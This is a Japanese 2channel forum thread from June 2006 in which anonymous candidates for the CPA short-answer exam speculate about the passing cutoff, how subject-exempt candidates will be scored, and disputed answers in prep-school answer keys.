146 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 00:01:23 ID:???
>>3の弁理士試験は、試験前にあらかじめ全科目受験者と免除者のボーダーを分けますっていう
アナウンスはあったのだろうか。探しても見つからなかった。
分けてきたらサプライズだ。偏差値かなんかで調整して。
でもさー、それが一番公平なような気もするね。>>51のような分布を想定すると。


147 :78:2006/06/29(木) 00:02:32 ID:???
>>144
短答は問題数が多く、実力が反映されないリスクが分散されるから。
はい次!

148 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 00:02:38 ID:???
>>141
TACの問題は全て平成18年で統一されてると思うから
俺の頭の中は全て平成18年。
本試験が違ったら学院長に○○する

149 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 00:04:01 ID:pGRSr3BM
みんなに無視される o.....rz


150 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 00:04:05 ID:???
短答の点なんて受かってれば(ここが問題なんだが)何点でもいいよ。
勘が当たって合格点クリア、という人は少し辛いかもしれないけど、
自力で短答の合格最低点をクリアしたレベルの力があれば、
地頭と短答後2ヵ月半の過ごし方でどうとでもなる。
逆に言えば、論文落ちってのは↑のどっちかが悪いってこった。

151 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 00:06:40 ID:???
>>146
まじかい

152 :78:2006/06/29(木) 00:07:20 ID:???
>>149
あかすく生は基本的に予備校生の相手にならないでしょうよ。
15点くらいのやつバンバン受からせてほしい。

>>150
正論

153 :一般に公正妥当と認められた名無しさん :2006/06/29(木) 00:07:30 ID:???
というかさ、他人のことを気にしすぎじゃね?
競争試験だから他の人が点取れないのはむしろ喜んで放置すべきことであって
お節介を焼くのは講師の仕事だろ?
やたらベテがベテが言ってるのも自分より下の存在を見つけようという
気持ちが強すぎじゃね?

154 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 00:07:35 ID:???
そいういやTACのテキストのほうの寄付金控除とか政党寄付金とかの
計算式が間違ってるんだよな。

訂正されてる?

155 :78:2006/06/29(木) 00:11:27 ID:???
>>153
おれのこと?
むしろおれがベテなわけで
おれみたいに後悔するようになってほしくないわけで
講師になるかどうかは後から考えるとして
だから悪かったって言ってんじゃん?

156 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 00:12:25 ID:???
ジダンかっけえ

157 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 00:13:23 ID:Doklycmk
おれのほうがべて


158 :一般に公正妥当と認められた名無しさん :2006/06/29(木) 00:13:25 ID:???
大原直対の込み具合は論文受験者にしては明らかに多すぎるよな・・
4月の時点で「内部統制の限界4つ言える?」とか言ってた女が
直対に出てるからな〜

159 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 00:14:07 ID:???
リサーチボーダーの財務が22〜24ってことは

68とかは全然可能性有りそうな希ガス

160 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 00:14:36 ID:???
いや、おれのほうがベテ

161 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 00:14:47 ID:???
財務免除ボーダーわけるのはなんかいやだな。
税理士簿財受かった=短答財務免除相当=短答合格者平均って判断されたと思った。
短答合格者平均なら財務7割くらいだから財務7割くれて一律評価にしてよ。
わけるのならはじめからアナウンスしとけ。
財務免除9割5分だが正直胸がモキモキする。

162 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 00:16:05 ID:Doklycmk
136なのに156のIDが変化している理由もわからない o.............rz


163 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 00:16:08 ID:???
モキモキ

164 :78:2006/06/29(木) 00:16:37 ID:???
>>159
悪いが、ない。
財務22だとして
この時点で他科目でのフォローが必要なのに
あと3科目で46?

これで受からすわけがない

165 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 00:16:58 ID:???
>>162
つ日付

166 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 00:17:15 ID:???
リサーチって簿財免除が相当出してるって聞いたから
あんまりあてにならないよ

167 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 00:18:16 ID:???
>>164
80もとってんだからボーダー議論に熱心に入り込むなよw

168 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 00:18:35 ID:???
ボザイ免除とわけたデータもだせばいいのに

169 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 00:18:42 ID:Doklycmk
162は156ではなく157です。
156さんすみません

170 :78:2006/06/29(木) 00:19:39 ID:???
>>167
それを言われるとなwテレビ封印PC封印で
勉強疲れたとなるとここしかなくてさw

171 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 00:20:10 ID:???
財務免除って問題が簡単だから逆に不安で殺到してだしたらしいな。
サンプルの人数の増加はその分だそうだ。

172 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 00:21:25 ID:???
ボーダー75として
企業法のみ受験のアカスク生の太郎君は企業法で15問正解しました。
全て受験した次郎君は財務25・管理16・監査15・企業18で74問正解しました。
太郎君は合格して次郎君は不合格でした。

次郎オオオオオぉぉぉぉぉおおおおおおーーーーーーーーーーーーーー!!!!!!!!!!!!!!!


173 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 00:22:06 ID:???
>>167
74以上のやつがここでボーダー論争してる時点でおかしいだろw


174 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 00:23:18 ID:???
>>173
74なら大丈夫なの?
大原採点だけど

175 :78:2006/06/29(木) 00:23:24 ID:???
>>152
次郎テラワロスwww

でもそれこそが新制度の狙い。
アカスク優遇、予備校詰め込み学習は排除

176 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 00:24:01 ID:???
財務免除は一日目で勝敗が決してたしな。

177 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 00:24:40 ID:???
結局財界免除の扱いってどうなるのかな?
全員合格だと70未満はねーよ
それが一番の鍵になるんじゃねー

178 :一般に公正妥当と認められた名無しさん :2006/06/29(木) 00:25:33 ID:???
>>174
大原は監査19が正解出してないからな

179 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 00:26:18 ID:???
>>174
そんなの自分で判断しろよ

180 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 00:28:26 ID:???
免除を不利にしたら、受験者の裾野を広げるという趣旨に反するから
やっぱ免除有利なんだろうな。


181 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 00:28:57 ID:???
部屋のクーラー壊れてんだよ。
これから熱くて眠れネーと勉強に響くな。

182 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 00:30:10 ID:???
簿財免除も8割未満は結構不安なんじゃねーの?
だって60台でも普通それくらいとってるからな

183 :一般に公正妥当と認められた名無しさん :2006/06/29(木) 00:30:15 ID:???
推定には一定の幅があるので74の可能性が高いなら当然73や75の可能性も
高い。

184 :78:2006/06/29(木) 00:30:59 ID:???
>>177
だね。
やっぱり「相当と認めた得点“比率”」が合格基準だから
免除組の大半が受かって
そのあまりのイスを全科目組が適度に奪い合うような
均衡のとれた比率にするんだろうな

さて寝るか
いろいろとすまんノシ

185 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 00:33:25 ID:???
弁理士の採点方法は免除者にとってはドキドキものだなw
おもしろくなってきた!


186 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 00:33:56 ID:???
>>172
7割五分なら企17監14管14財務免除合格
企15アカスク合格
企18監14管14財28で不合格か。
免除裏山死す

187 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 00:34:40 ID:???
はっきりいって簿財免除で8割以下は合格の資格ないだろ



188 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 00:36:50 ID:???
で、おまいらは受かったらどこの法人に行くつもり?

189 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 00:37:43 ID:Doklycmk
とにかく67、68で受からしてくださいよ。
文句言わないから。
165さんありがと

190 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 00:37:55 ID:???
来年も企業法あのレベルなら、千葉商大ASの奴でも7割は優に超えるだろうな。
金さえ払って低レベルAS行けば、短答余裕で合格とは・・・ものすごく”格差社会”をカンジル。

191 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 00:38:57 ID:???
当局も財務会計が難しい情報は入ってるはずだから
何らかの調整はしてくるだろ


192 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 00:40:42 ID:???
>>188
安西先生・・・トーマツTS行きたいです

193 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 00:42:15 ID:???
>>192
短答落ちたらそこで人生終了だよ(にっこり)

194 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 00:43:05 ID:???
>>189

67・68ならだめもとで財務免除の得点調整を電話してみたら?
しても損はしないと思うよ。

195 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 00:44:36 ID:Doklycmk
短答落ちてから踏ん張りどころと思ったけど
いつもこうだとつらい

196 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 00:45:01 ID:???
得点調整にすがるしかないとは、なんて惨めなんだw

197 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 00:46:38 ID:Doklycmk
自分の人生がこんなに「ドッキリ」するとは思わなかった


198 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 00:46:57 ID:???
もう、決定しただろ…。
既に、発送準備段階。

199 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 00:48:05 ID:TZzP8q4l
確かに科目免除者はその科目に勉強時間をさくことなく他の科目にさけるという利益を得ているのに、さらに受けない科目がむずかしいというのは不公平だ

200 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 00:48:58 ID:Doklycmk
試験委員の顔を覚えるぐらいどっきり

201 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 00:52:09 ID:???
HPで自分の受験番号探してるの想像したら緊張してきた

202 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 00:52:25 ID:+3440Bcw
不動産鑑定士試験で出題ミスによる採点のやり直しで不合格者のうち、54人を追加合格にしたとのこと。
今日の日経朝刊社会面

203 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 00:52:45 ID:???
やっぱ初年度だから70で切るのかね。
でも、それだと多すぎる気もするしなあ。

204 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 00:52:57 ID:???
>>202
前スレで既出

205 :一般に公正妥当と認められた名無しさん :2006/06/29(木) 00:58:30 ID:???
>>201
2chで疑義問の答えとボーダーを確認してから番号みたら?

206 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 01:03:08 ID:???
俺の唯一の不安はマークミス
2問3問なら余裕だが、受験番号とかミスってたら怖い
受験番号のマークミスは救済してくれてると思うが・・・


207 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 01:03:14 ID:???
おいおい、ボーダー73以上は絶っっっっ対にないぞ。ありえない。
この2ちゃんには毎年驚かされるw
去年も35か36と煽りか本気がわからないが散々いっておいて、
33/49だったしな。
リサーチ最終平均が71.免除がいるからあと一点さがる。
よくよく見てて思ったんだが、免除が意外に提出してる。
うざいノイズだな。
まぁ70〜72ってとこだ。

208 :一般に公正妥当と認められた名無しさん :2006/06/29(木) 01:06:30 ID:???
マークミスというか、手元にある問題冊子に○つけてある肢と実際に選んだ肢が
違うのというのはたまにあるらしい。問題冊子への転記ミスと言うべきか。


209 :一般に公正妥当と認められた名無しさん :2006/06/29(木) 01:07:52 ID:???
マークミスで正解にマークするヤシもいるだろうな

210 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 01:12:28 ID:4+tIRTnt
2,3点は変動する
悪夢
べてのみぞしる

211 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 01:14:18 ID:???
総点数の70%を基準として、公認会計士・監査審査会が相当と認めた得点比率
これは68〜72などといっているのではない。
企のみなら18で相当(企18)
企監管のみなら48で相当(企18監15管15)
企監管財全てなら73で相当(企18監15管15財25)
ということかもしれない。弁理士試験短答式はとんでもない爆弾を落としていった。


212 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 01:15:02 ID:???
ボーダー72だろうな。
そうじゃないと科目免除と一般の調整が出来ない。
俺は68〜71の人も受かるべき人間だと思うけど
金融庁と大学院のせいで事実が歪められてしまった…。

213 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 01:15:39 ID:???
今年なら

解答サプライズで±2
マークミスで±1

だいたい3点は幅があるな。

214 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 01:16:43 ID:4+tIRTnt
165さん、またIDかわってしまった


215 :一般に公正妥当と認められた名無しさん :2006/06/29(木) 01:18:08 ID:???
サプライズはあっても1問だろう

216 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 01:19:11 ID:???
科目間の調整方法は何パターンかきめられてる
審査会がどの方法を選択するかは知らないけど
このレベルの試験で得点率でそのまま比較することはないと思うよ

217 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 01:20:22 ID:???
>>211
仮にそれで合格者出したら免除組みが合格者から減って
3000人もいないだろうな。
リサーチでは免除組みを一般と同じに扱ってボーダー73くらいなんだから…

218 :一般に公正妥当と認められた名無しさん :2006/06/29(木) 01:20:32 ID:???
アカスクって250万も払ってるんだろ?
大原の7年分だよ、大目に見てあげようよ

219 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 01:21:25 ID:???
>>216
会計士試験の実施についてにはそのまんま得点比率でやるって書いてあったんだけどな。
これもどうなるかね。

220 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 01:22:15 ID:???
>>218
俺は既にそのくらいTACに払い込み済みだ

221 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 01:22:58 ID:???
みんな見直ししないの?マークシート

222 :一般に公正妥当と認められた名無しさん :2006/06/29(木) 01:24:26 ID:???
土壇場で選択肢変えることもあるからなあ

223 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 01:24:30 ID:4+tIRTnt
俺も払いすぎ IDさらしすぎ

224 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 01:24:49 ID:???
で疑義問て4問ぐらいあったけ?

サプライズおこりそうなのあるわけ?
多数派選んでる人は答えまちがっても
その分ボーダーさがるから結構安心だね

225 :一般に公正妥当と認められた名無しさん :2006/06/29(木) 01:26:14 ID:???
>>224
逆に言えばボーダー付近でサプライズ当たった人は
儲けもんだよな

226 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 01:27:20 ID:???
【疑義問まとめ】

       TAC 大原 AXL LEC クレ CPA ICO 受験生※
監査問13  1   3   3  3  3   3   3   3
監査問14  1   1   1  2  1   1   1   1
監査問19  1  1or3  3  1  3   1   1   1
管理問 3  4   5   5  5  5   5   5   5
財務問 5  4   4   4  4  4   4   2   4

※TACデータリサーチ中間結果より多数派解答

227 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 01:27:38 ID:???
おまいら、サプライズっていうのは疑義問からは生まれないぞ

228 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 01:28:02 ID:4+tIRTnt
ボーダー何点以上だったら死者いない?


229 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 01:28:49 ID:???
>>226
大原のも多数派同じだっけね

230 :一般に公正妥当と認められた名無しさん :2006/06/29(木) 01:28:51 ID:???
監査19はサプライズというよりヒフティーヒフティーだな

231 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 01:30:39 ID:???
でも問19ってたしか1選んだ人が中々多くて
3選んだ人あんまいないんだよね
4番目ぐらいじゃなかったけ

232 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 01:31:28 ID:???
疑義問って去年の財表みたいなことはまずないよ
今年は多数派で決着してる

サプライズは財務免除の8割未満

233 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 01:31:39 ID:???
>>230
それを言うならフィフティーフィフティーでしょ

234 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 01:32:18 ID:???
ヒフティーヒフティー

235 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 01:33:26 ID:???
今年の疑義問レベル低い。
結構はっきりしてんじゃん。


236 :一般に公正妥当と認められた名無しさん :2006/06/29(木) 01:34:11 ID:???
71〜73の人は監査19の答えが合格発表の一部みたいなもんだな

237 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 01:34:54 ID:???
確かに簿財免除で8割未満とか論外だな

238 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 01:35:21 ID:4+tIRTnt
監査19で、また1ねん

239 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 01:35:23 ID:???
ボーダー70が通説なんでしょ?
69くらいの奴から疑義でどうなるかだな。

240 :一般に公正妥当と認められた名無しさん :2006/06/29(木) 01:35:36 ID:???
財務の連結の範囲の問題とかサプライズありそうな気がするんだけどね

241 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 01:36:04 ID:???
多数派受験生と2問ちがうのはTACだけ

242 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 01:37:25 ID:???
そういえば選択科目の経済と民法ってどうやって
調整してたのかな?
それから比べれば簿財免除の調整なんて簡単だな

243 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 01:37:37 ID:???
ボーダーは72から73かな。
でも俺は68がいい。
68なら6000〜7000人か?
72で切れば去年と同じくらいの答連の人数になるな。

244 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 01:37:48 ID:4+tIRTnt
しつこいけど
240さんには
一理ある

245 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 01:38:47 ID:???
特別目的会社のやつか

246 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 01:40:26 ID:???
ボーダー72とかにしたら大学生は就活して人材が流れるんじゃないの?
リスク高杉

247 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 01:41:38 ID:???
その程度で就活に流れるような人材はいらん

248 :一般に公正妥当と認められた名無しさん :2006/06/29(木) 01:42:23 ID:???
おとといTACの自習室で23くらいのスーツ来た男が来て監査の問題集を
広げるなり眠ってしまった。
「短答落ちで就活乙wwwwwwww」と思いながら優越感に浸り勉強。
帰り際に問題集をチラッと見ると「修了試験」の文字が・・

249 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 01:43:09 ID:???
やっぱ簿財免除が有利すぎなんじゃないか
大学生じゃ免状無理だから

250 :一般に公正妥当と認められた名無しさん :2006/06/29(木) 01:44:13 ID:???
財務で一波乱ありそうな気配も。

251 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 01:45:27 ID:???
一番サプライズありそうなのは、監査の14かなー。
レックの解説集みたら、ありえる肝してきた。

252 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 01:45:58 ID:???
経済と民法って得点調整されてたの?


253 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 01:48:00 ID:???
疑義問ってあんまし疑義ないじゃん69のやつが必死なのはわかるけど

254 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 01:48:12 ID:4+tIRTnt
今日だけしつこいけど
人の一年は短いよ
すぐ死ぬよ
短い人生かけてるけど
ばからしい・・・けど
やらねば・・・・・・・・・・だけど・・・むなしい。

255 :一般に公正妥当と認められた名無しさん :2006/06/29(木) 01:48:27 ID:???
管理3と監査14どっちもサプライズなしが前提で73の
俺は辛い

256 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 01:50:21 ID:???
バカスクと財務免除と一般受験でボーダーを分ける

ソノ発想ハナカッタワ

257 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 01:50:40 ID:???
>>253
多数派があってということ?

258 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 01:51:14 ID:???
あってるということ?

に修正

259 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 01:51:16 ID:???
大原自習室だと70は合格の雰囲気なんだけど
ここだとやばいわけ?
60後半も整然と勉強してるし

260 :一般に公正妥当と認められた名無しさん :2006/06/29(木) 01:52:27 ID:???
一橋の友達の話では、前期試験でマークシート使う教授がいて
5点ずつの20問で採点方法が「正しい肢マークしたら+5点、間違った肢
にマークしたら−2点」だったそうな。短答でこれやったら面白いかもね。

261 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 01:53:10 ID:???
監査19以外は確定だろ

262 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 01:54:05 ID:???
そういや早稲田セミナーも監査の13は1らしい。

263 :一般に公正妥当と認められた名無しさん :2006/06/29(木) 01:54:22 ID:???
>>259
でも、周りにいる人、70超えてる人のほうが多くない?

264 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 01:54:44 ID:???
企業法とりこぼした早稲田セミナーか

265 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 01:54:57 ID:???
要するにどれだけ合格者を出すのかによるんじゃないか?
合格者を増やすのは確実なわけでどの程度影響するのかにもよるし

266 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 01:55:30 ID:naQwL54m
鑑定士は70ってたくせに80だったらしいよ

267 :一般に公正妥当と認められた名無しさん :2006/06/29(木) 01:55:43 ID:???
Wセミナーは最初1だったのにビビって1or3に変更したチキンだからなあ

268 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 01:56:03 ID:???
>>259
本命は72だろうね。
70〜71も可能性若干あり。
69以下は多分きつい現実。
リサーチでも69以下は断然下位でしょ。

269 :一般に公正妥当と認められた名無しさん :2006/06/29(木) 01:57:35 ID:???
自分+1点がボーダーというのは誰しも嫌だよな

270 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 01:57:58 ID:4+tIRTnt
今日だけ必死だけど
監査19のみ?
財務のボーダー?
だけ

271 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 01:58:21 ID:???
公認会計士短答式試験の合格基準は、以下の通りとする。

・企業法のみを受験した者 総点の70%

・企業法、監査論、管理会計論を受験した者 総点の70%

・その他の者 総点の72%

以上

272 :一般に公正妥当と認められた名無しさん :2006/06/29(木) 01:58:47 ID:???
>>266
予備校のリサーチが77%だったからな
まあ、7割は基準でしかないという判例を作ってしまったわけだけど

273 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 01:59:19 ID:???
>>263
いや60後半で租税やってるひと結構いる
だから70は大丈夫な雰囲気なんだけど・・・

274 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 01:59:26 ID:???
>>267
大原もそうだぞ。最初3だけどびびって1or3。

275 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 02:00:11 ID:???
>>271
こうなったら悲惨だなw

276 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 02:01:20 ID:???
そういえばボーダーは得点比率でだすんだっけ

500点満点でだされて計算するのめんどくせえなあと思ってた

277 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 02:02:49 ID:???
財務会計がリサーチ平均22〜24でボーダー72って
アンバランスだなw

278 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 02:03:15 ID:4+tIRTnt
しつこいけど
一揆?
ゲームでやった
べて

279 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 02:04:09 ID:???
・企業法のみを受験した者 総点の70%
19/20人くらい?

・企業法、監査論、管理会計論を受験した者 総点の70%
990/1000人くらい?

・その他の者 総点の72%
3500/17000人くらい?

280 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 02:04:36 ID:TbVNEuhm
朝日新聞から悪徳D○Bパイロットスクール敗訴の記事

ー ヘリ免許取れず学校に賠償命令 ー
「米国でヘリコプター免許を取ろうとしたが、
勧誘文句の2〜3ヶ月 の留学では取得できなかった」などとして、
東京、埼玉、栃木の男性 計3人が、日本技研
を相手に計約1700万円の損害賠償を求めた訴訟の
判決が21日、東京地裁であった。富岡章裁判官は
「3人が留学した 米国訓練校の態勢に不備があったのに、
必要な改善策を講じなかった」 と述べて計421万円の支払いを命じた。
判決は「3人が留学した訓練校は ヘリコプターの数が少なく、
他の現地校より訓練期間が長期化している」 と指摘。原告2人について
超過訓練費用分の損害を認め4割を減額。途中帰国した1人には当初代金
の半額を 支払うように命じた。


281 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 02:05:05 ID:???
財務の得点調整ないと不利すぎやん


282 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 02:06:44 ID:4+tIRTnt
今日だけしつこいけど
281人生で初めて正しいこと言った!

283 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 02:08:11 ID:???
どれだけ人数を増やすんでしょうか?

284 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 02:10:05 ID:???
財務が24として意外と4科目70以上少ないかもよ

285 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 02:12:17 ID:???
>>283
500〜1500人くらい
1点に500人とすると
1点から3点甘くなる。
去年基準の74から考察すると
ボーダー71〜73かな。本命72

286 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 02:12:19 ID:???
>>279
財務免除がボーダー70で99%も受からんだろ
税理士とか税理士受験生がなんちゃってで受けてるんじゃないか?

287 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 02:13:22 ID:???
教室に去年の倍くらい人がいるんだよなあ
65〜69くらいが淡い期待を抱いて受けに来てると信じたい

288 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 02:14:53 ID:4+tIRTnt
今日だけしつこいけど
べて財務大失敗18〜26標準偏差大
3科目45前後 
1,2回目
2~3点減
68ぐらいだと納得


289 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 02:14:56 ID:???
1点に500人もいないでしょ。

290 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 02:16:22 ID:???
俺は激戦65〜72までは1点に700いてもおかしくないと思う。

291 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 02:16:23 ID:???
>>285
1500人増えたら5000人?
そうしたらべつの意味でサプライズ

292 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 02:18:26 ID:???
>>291
だから71点ボーダーは超超超サプライズないと受からない現実。
70なんてもはや不可能だ。

293 :一般に公正妥当と認められた名無しさん :2006/06/29(木) 02:18:51 ID:???
3500で73か74くらい?

294 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 02:21:37 ID:???
つーか今年67とか余裕で自習室で勉強してるよ、ひと大杉。
結局人数増加に期待してるんだろうな。

このスレの煽りもひどいけどな。w

295 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 02:22:26 ID:4+tIRTnt
1.論文合格者増
2.短答合格者増(論文合格者低すぎ)
3.3500〜5000にはするはず(論文受験生のレベル低下防止)


296 :一般に公正妥当と認められた名無しさん :2006/06/29(木) 02:23:32 ID:???
仮に69あたりで切ったとしたら68の人は来年の短答倍率考えると
悲惨だぞ。たった1点差なのに。

75あたりで切った方が不合格者は救われる。

297 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 02:23:36 ID:???
確かなのは予備校以上のボーダー予想は不可能ということ


298 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 02:24:38 ID:???
TACの全答練でも2.5点に400人以上いる。
TACの全答練受験者は約4600人
短刀は約16500人だからTACの3.5倍はいるとして
1400人はいる。
1400÷2.5=560人
よって1点500人どころかそれ以上いる可能性のが高い。
データみなよ。現実見ようよ。データから算定しなよ。

299 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 02:24:54 ID:???
>>295
あんたさっきから何いってるの?

300 :一般に公正妥当と認められた名無しさん :2006/06/29(木) 02:25:11 ID:???
今年5000にしたら来年に3500繰越?ありえんだろ

301 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 02:25:38 ID:???
69で切るべきだと思う。
相当しびれるな。
70だと覚悟してるだろうけど69はいい。

302 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 02:25:41 ID:???
そもそも短答合格者増もあくまで予想だろ?
免除になるから厳しくなることだって考えられるよね?
だから予想範囲は
75点3000人〜68点5000人
でOK?

303 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 02:27:56 ID:???
>4+tIRTnt

日本語が不自由というか、何を言ってるのかわからないんですけど・・・。

304 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 02:28:07 ID:???
>>296
なにいってんの?
75で切ったら74の奴だって悲惨だろ。
お前が68、69だからってそういう無責任なこというのはやめなさい。

305 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 02:28:27 ID:???
疑義問がらみで69って相当ぶれるんじゃネーの
面白いよ、さいこーだよ

306 :一般に公正妥当と認められた名無しさん :2006/06/29(木) 02:28:43 ID:???
う=ん
平均だけ見ると65〜70が妥当だと思うけど

307 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 02:30:12 ID:???
70で切るなら
69か71で切ってもらいたい

308 :一般に公正妥当と認められた名無しさん :2006/06/29(木) 02:30:31 ID:???
>>304
いやいや、今年の短答と来年の短答のバランスを考えると
今年69にするより75にする方がまだ可能性高いんじゃないかと。
今年5000人も通したら来年の短答ハイリスク杉。

309 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 02:32:08 ID:???
学校ってある程度の裏を取って70にしたのかな?

310 :一般に公正妥当と認められた名無しさん :2006/06/29(木) 02:33:15 ID:???
2000人くらいのTACリサーチだけで70以上が1200人いるんだからなあ
全体では5000人いそうな気がするが

311 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 02:33:24 ID:???
>>308
それだったらはやく税理士の勉強しろよ

312 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 02:33:44 ID:???
>>300
科目合格あるから3500人全てが純粋に繰り越すわけじゃない
2〜3科目は受かるだろうから実質1700人分くらいしか1科目は
繰越にはならない。繰越=全科目受験って考えていること自体
あり得ない。
だから5000人合格も大いにある。

313 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 02:33:52 ID:4+tIRTnt
今日だけしつこいけど
何のための改正なのか
受験者(実務、学歴)等を問わず、受験させた意味を考えるべし
1社会情勢全般(少子供化、年金)
2犯罪(能力を持った者による犯罪)
3あなたの考えは?

314 :一般に公正妥当と認められた名無しさん :2006/06/29(木) 02:34:14 ID:???
どの予備校も「去年基準ならボーダーかなり高い」というのは
一致してるんだよな

315 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 02:36:01 ID:???
TAC全答練一回目で一番多いところで5点に650/4400人いる。
つまり一番多いところでも1点に130人。これを受験生16000人に換算したら472人。
